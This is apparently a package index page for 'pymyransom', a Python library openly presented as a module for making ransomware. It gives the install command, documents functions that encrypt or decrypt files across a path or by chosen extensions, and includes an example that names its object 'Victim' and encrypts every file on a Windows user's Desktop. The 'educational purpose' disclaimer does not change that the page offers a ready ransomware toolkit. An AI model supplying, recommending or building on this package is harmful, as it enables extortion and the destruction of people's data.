pymyransom

A Module for Ransomware


Keywords
pymyransom
Install
pip install pymyransom==0.4.6

Documentation

Pymyransom

New in v0.4.1

Updated description

Before Introducing

PYMYRANSOM ONLY CAN BE USED FOR EDUCATIONAL PURPOSE!!!

What is Pymyransom?

Pymyransom is inspired by https://github.com/marcosValle/RansPy/blob/master/enc.py, I changed this code for making Ransomwares.

How to install Pymyransom?

To install pymyransom, please type pip install pymyransom.

How to use Pymyransom?

makeMyRansomware

Usage : ransomware_name = makeMyRansomware(your_extension, key, username, passFile)

your_extension = ".Example" : Encryption Extension
key = b'keyfor16bytes123' : Binary key for encryption
username=getpass.getuser() : PC's username
passFile=None : Pass a specific file

Encryptor

Usage : ransomware_name.Encryptor(startPath)
startPath : Path to encrypt

Decryptor

Usage : ransomware_name.Decryptor(startPath)

startPath : Path to decrypt

Encrypt_Some_Ext

Usage : ransomware_name.Encrypt_Some_Ext(startPath)

Encrypts only extensions in extlist.

startPath : Path to encrypt some extensions
extlist=[".txt", ".mp3"] : Extensions for encryption

Decrypt_Some_Ext

Usage : ransomware_name.Decrypt_Some_Ext(startPath)

Decrypts only extensions in extlist.

startPath : Path to encrypt some extensions
extlist=[".txt", ".mp3"] : Extensions for encryption

Example Code

import pymyransom
Victim = pymyransom.makeMyRansomware(your_extension=".Example")
startpath = 'c:\\Users\\'+Victim.username+'\\Desktop\\**' #Used glob to encrypt all files
Victim.Encryptor(startpath)

Special Thanks

https://github.com/marcosValle/, https://github.com/kevin5871/, And you!